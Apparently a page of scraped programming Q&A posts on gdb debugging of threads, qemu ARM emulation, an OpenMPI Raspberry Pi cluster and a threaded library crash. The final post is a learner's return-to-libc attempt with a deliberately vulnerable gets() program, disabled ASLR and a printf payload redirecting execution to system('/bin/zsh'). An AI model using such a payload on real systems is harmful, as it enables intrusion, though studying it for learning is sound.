I am trying to debug code written for Raspberry Pi on my Ubuntu laptop. I am using:
the Raspberry Pi Toolchain and (partial ?) root fs obtained with git clone git://github.com/raspberrypi/tools.git executed in ~/rpi
qemu virtualizer installed from Ubuntu repositiories - qemu-arm reports
version 2.0.0
the following test case:
#include <pthread.h>
#include <stdio.h>
static void *thread(void *arg)
{
static char szReturn[] = "Me too";
puts((char *)arg);
puts("Hello, I'm Thread");
return szReturn;
}
int main(int argc, char *argv[])
{
pthread_t tid;
char szGreeting[] = "Hello, I'm Main", *reply;
if (pthread_create(&tid, NULL, &thread, szGreeting) != 0)
{
perror("pthread_create says: ");
return 1;
}
puts("Nice to meet you");
if (pthread_join(tid, (void **)&reply) == 0)
puts(reply);
return 0;
}
After adding ~/rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin to the PATH (I am using 64 bit Ubuntu), I do (from the directory in which the test code resides):
arm-linux-gnueabihf-gcc -g -O0 test.c -o test -lpthread
qemu-arm -L ~/rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/arm-linux-gnueabihf/libc ./test
I get the expected output, so the thread creation and execution works.
However, if I do:
qemu-arm -g 1234 -L ~/rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/arm-linux-gnueabihf/libc ./test in one terminal, to launch qemu and have it waiting for the debugger to connect to it
arm-linux-gnueabihf-gdb -ex="target remote localhost:1234" -x="set breakpoint pending on" -ex="break main" ./test in another terminal, to start debugging the program with gdb
I get in gdb, after 'continue' I reach main, I set breakpoints to thread, 21 and 24, I next OK to the ptread_create call, so debugging the main thread works, but:
when it executes pthread_create, instead of hitting one of the 3 breakpoints (the thread, the create failure or the create success cases), gdb reports "inferior terminated' and the session ends
back in the qemu terminal though, the program has generated the normal output, so the thread was created and executed, and the whole program worked as expected
So gdb can not debug multithreaded programs in this configuration/setup?! What am I missing?
Could the fact that I am running Ubuntu in a Parallels virtual machine on an OSX machine have something to do with it? I don't have a dedicated Ubuntu machine to test, but I doubt it.
Update: On a native Fedora system the behavior is even worse: the breakpoints are also not taken, but it also crashes in puts and pthread_join.
Thanks in advance
Related
I have just finished code-signing and setting up gdb on MacOS Ventura 13.0.1 . I am receiving this error: warning: unhandled dyld version (17). Upon running my very simple "Hello world" program in gdb:
#include <stdio.h>
int main() {
for (int i = 0 ; i < 3 ; i++) {
printf("hello world!\n");
}
return 0;
}
I have found information related to the unhandled dyld version (15) but not this error. I am running gdb version 12.1, installed with homebrew.
It also runs forever until I keyboard interrupt ^C and then it exits and sends output to the screen.
Edit:
build gcc -g hello.c run gdb a.out, reads debug from a.out.dSYM
I have the following code (source):
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define NUM_THREADS 5
void *PrintHello(void *threadid) {
long tid;
tid = (long)threadid;
printf("Hello World! It's me, thread #%ld\n", tid);
pthread_exit(NULL);
}
int main(int argc, char *argv[]) {
pthread_t threads[NUM_THREADS];
int rc;
long t;
for (t=0; t<NUM_THREADS; t++) {
printf("In main: creating thread %ld\n", t);
rc = pthread_create(&threads[t], NULL, PrintHello, (void *)t);
if (rc) {
printf("ERROR; return code from pthread_create() is %d\n", rc);
exit(-1);
}
}
// wait for all threads to die
pthread_exit(NULL);
}
I compile with gcc -g main.c -o main -lpthread. I am using GDB for debugging. What I want is to place a breakpoint at the second line of PrintHello, i.e. at tid = (long)threadid, and have the execution stop there (whatever the thread) and let me do stuff like look at the value of variable threadid.
I want to achieve this in Emacs' GDB implementation - which we may assume for the purposes of this question as simply GDB (don't worry that it's run inside Emacs). So far I can place the breakpoint at the desired line, and sometimes the little arrow showing the current line where the program is at does indeed stop at this line:
However when I type into the GDB prompt print threadid I get back No symbol "threadid" in current context. and the arrow jumps immediately to some breakpoint that I set in main():
My guess is that this occurs because the "pausing" of program execution happens for the main thread, which is not the thread running PrintHello. PrintHello is run by thread t - since this is not the thread paused by GDB, it prints the hello world message and exists immediately. By the time I get around to typing print threadid, this thread is already dead and the program is back in main()... hence the effect.
I tried to resolve this by typing something like break <LineNumber> thread <ThreadID> but this is no good since in this program the created threads last for a split second. So I am never actually at a point where info thread shows anything except the main thread. It's simply not humanly possible to "catch" the program at a point where there is the main thread and a newly created thread running PrintHello - since this situation lasts for I guess a few microseconds.
Please help me to achieve this simple debug objective of halting execution of whatever thread is executing PrintHello at the line tid = (long)threadid;.
Solved it, there wasn't much a problem after all. Here are instructions, if anyone has a similar issue:
Compile with gcc -ggdb main.c -o main -lpthread (yes, that's -ggdb and not -g, it appears to make a difference)
Run the debugger with gdb main or, in Emacs, with M-x gdb (and the command gdb -i=mi main)
Hugely important here: Emacs has by default the variable gdb-non-stop-setting set to t, which means it tries to run GDB in non-stop mode. According to docs, this is NOT what I want - I want all-stop mode. Thus, either do a set-variable or put (setq gdb-non-stop-setting nil) in your init file (e.g. ~/.emacs.d/init.el). Only once this is done should you launch M-x gdb from inside Emacs...
(gdb) b 9 to set the breakpoint to line 9
(gdb) r to run the program. Execution will stop when one of the threads reaches line 9, i.e. tid = (long)threadid;. All other threads will also stop! Perfect!
(gdb) c to continue. Execution will stop when another thread reaches line 9. Great!
Continue doing whatever, we have the desired behavior now :)
I am trying to build a beowulf cluster with Raspberry Pi. I downloaded the following packages of OpenMPI: openmpi-bin, openmpi-common, libopenmpi1.3, libopenmpi-dbg, libopenmpi-dev. I used static IP on each of the Raspberrys and tested the connection between each of them and it was working. I also enabled the ssh and I used it to login from one Raspberry to all the other Raspberrys.
This is the following code I used:
#include <mpi.h>
int main(int argc, char *argv[])
{
int tid,nthreads;
char *cpu_name;
/* add in MPI startup routines */
/* 1st: launch the MPI processes on each node */
MPI_Init(&argc,&argv);
/* 2nd: request a thread id, sometimes called a "rank" from
the MPI master process, which has rank or tid == 0
*/
MPI_Comm_rank(MPI_COMM_WORLD, &tid);
/* 3rd: this is often useful, get the number of threads
or processes launched by MPI, this should be NCPUs-1
*/
MPI_Comm_size(MPI_COMM_WORLD, &nthreads);
/* on EVERY process, allocate space for the machine name */
cpu_name = (char *)calloc(80,sizeof(char));
/* get the machine name of this particular host ... well
at least the first 80 characters of it ... */
gethostname(cpu_name,80);
printf("hello MPI user: from process = %i on machine=%s, of NCPU=%i processes\n",
tid, cpu_name, nthreads);
MPI_Finalize();
return(0);
}
I tested the code first with only 2 boards and it worked fine no problems no errors and it printed the printf statement in the code.
I created a host file which includes the following:
Pi0
Pi1
Pi2
Pi3
I have 4 Raspberry Pis. I copied the code on each of them and compiled the code also using the following statements:
mpicc -g -0O -c hello-mpi.c -o hello-mpi.o
mpicc -g hello-mpi.o -o hello-mpi
I executed the code with the following statement:
mpirun -np 4 -hostfile hostfile hello-mpi
when I run the program nothing happens it just gives me an new empty line. No errors are given also. Any suggestion what I can I do to make it work
I have some application for which I need to write extension using shared library. In my shared library I need to use threads. And main application neither uses threads neither linked with threads library (libpthread.so, for example).
As first tests showed my library causes crashes of the main application. And if i use LD_PRELOAD hack crashes goes away:
LD_PRELOAD=/path/to/libpthread.so ./app
The only OS where i have no segfaults without LD_PRELOAD hack is OS X. On other it just crashes. I tested: Linux, FreeBSD, NetBSD.
My question is: is there a way to make my threaded shared library safe for non-threaded application without changing of the main application and LD_PRELOAD hacks?
To reproduce the problem i wrote simple example:
mylib.c
#include <pthread.h>
#include <assert.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
void *_thread(void *arg) {
int i;
struct addrinfo *res;
for (i=0; i<10000; i++) {
if (getaddrinfo("localhost", NULL, NULL, &res) == 0) {
if (res) freeaddrinfo(res);
}
}
pthread_mutex_lock(&mutex);
printf("Just another thread message!\n");
pthread_mutex_unlock(&mutex);
return NULL;
}
void make_thread() {
pthread_t tid[10];
int i, rc;
for (i=0; i<10; i++) {
rc = pthread_create(&tid[i], NULL, _thread, NULL);
assert(rc == 0);
}
void *rv;
for (i=0; i<10; i++) {
rc = pthread_join(tid[i], &rv);
assert(rc == 0);
}
}
main.c
#include <stdio.h>
#include <dlfcn.h>
int main() {
void *mylib_hdl;
void (*make_thread)();
mylib_hdl = dlopen("./libmy.so", RTLD_NOW);
if (mylib_hdl == NULL) {
printf("dlopen: %s\n", dlerror());
return 1;
}
make_thread = (void (*)()) dlsym(mylib_hdl, "make_thread");
if (make_thread == NULL) {
printf("dlsym: %s\n", dlerror());
return 1;
}
(*make_thread)();
return 0;
}
Makefile
all:
cc -pthread -fPIC -c mylib.c
cc -pthread -shared -o libmy.so mylib.o
cc -o main main.c -ldl
clean:
rm *.o *.so main
And all together: https://github.com/olegwtf/sandbox/tree/bbbf76fdefe4bacef8a0de7a2475995719ae0436/threaded-so-for-non-threaded-app
$ make
cc -pthread -fPIC -c mylib.c
cc -pthread -shared -o libmy.so mylib.o
cc -o main main.c -ldl
$ ./main
*** glibc detected *** ./main: double free or corruption (fasttop): 0x0000000001614c40 ***
Segmentation fault
$ ldd libmy.so | grep thr
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe7e2591000)
$ LD_PRELOAD=/lib/x86_64-linux-gnu/libpthread.so.0 ./main
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
Just another thread message!
My question is: is there a way to make my threaded shared library safe
for non-threaded application without changing of the main application
and LD_PRELOAD hacks?
No, those are the two ways you can make it work. With neither in place, your program is invalid.
dlopen is supposed to do the right thing, and to open all the libraries your own .so depends upon.
In fact, your code is working for me if I comment out the address lookup code that you placed inside your thread function. So loading the pthread library works perfectly.
And if I run the code including the lookup, valgrind shows me that the crash is below getaddrinfo.
So the problem is not that the libraries aren't loaded, somehow their initialization code is not executed or not in the right order.
gdb helped to understand what's goin on with this example.
After 3 tries gdb showed that app always crashed at rewind.c line 36 inside libc. Since tests were run on Debian 7, libc implementation is eglibc. And here you can see line 36 of rewind.c:
http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_13/libc/libio/rewind.c?annotate=12752
_IO_acquire_lock() is a macros and after grepping eglibc source I found 2 places where it is defined:
bits/stdio-lock.h line 49: http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_13/libc/bits/stdio-lock.h?annotate=12752
sysdeps/pthread/bits/stdio-lock.h line 91: http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_13/libc/nptl/sysdeps/pthread/bits/stdio-lock.h?annotate=12752
Comment for first says Generic version and for second NPTL version, where NTPL is Native POSIX Thread Library. So in few words first defines non-threaded implementation for this and several other macroses and second threaded implementation.
When our main application is not linked with pthreads it starts and loads this first non-threaded implementation of _IO_acquire_lock() and others macroses. Then it opens our threaded shared library and executes function from it. And this function uses already loaded and non thread safe version of _IO_acquire_lock(). However in fact should use threads compatible version defined by pthreads. This is where segfault occures.
This is how it works on Linux. On *BSD situation is even more sad. On FreeBSD your program will hang up immediately after your threaded library will try to create new thread. On NetBSD instead of hang up program will be terminated with SIGABRT.
So answering to the main question: is it possible to use threaded shared library from application not linked with pthreads?
In general -- no. And particularly this depends on libc implementation. For OS X, for example, this will work without any problems. For Linux this will work if you'll not use libc functions that uses such special macroses redefined by pthreads. But how to know which uses? Ok, you can make 1+1, this looks safe. On *BSD your program will crash or hang up immediately, no matter what your thread do.
I'd like to learn how return to libc attacks work, so I have written a vulnerable program so that I can change the return address of a function to that of system(). However, the program doesn't appear to call system() and exits cleanly.
Prerequisites
- I'm using Debain Squeeze
- I have disabled address randomization with:
echo 0 > /proc/sys/kernel/randomize_va_space
Vulnerable Code
#include <stdio.h>
void someFunc(void);
void someFunc(void){
char buffer[64];
gets(buffer);
//puts(buffer);
}
int main(int argc, char **argv)
{
someFunc();
return 0;
}
The code is compiled with:
gcc -fno-stack-protector -ggdb -o vuln vuln.c
Using GDB I have asserted that:
/bin/zsh is # 0xbffff9b9
system() is # 0xb7ed0000
exit() is # 0xb7ec60f0
Exploit
I exploit it by piping in 72 zeros, exit, system and the pointer to /bin/zsh, in that order:
printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
The program doesn't segfault or execute /bin/zsh.
In GDB
Interestingly, if I change SHELL="/xin/zsh", and execute it in gdb, the system call works:
Cannot exec /xin/zsh
So my questions are:
Have I understood the return to libc attack concept correctly?
Am I piping the malicious code in the correct way and order?
Why does it appear to work in GDB, but not in the shell?
(I've already read return to libc works in gdb but not when running alone)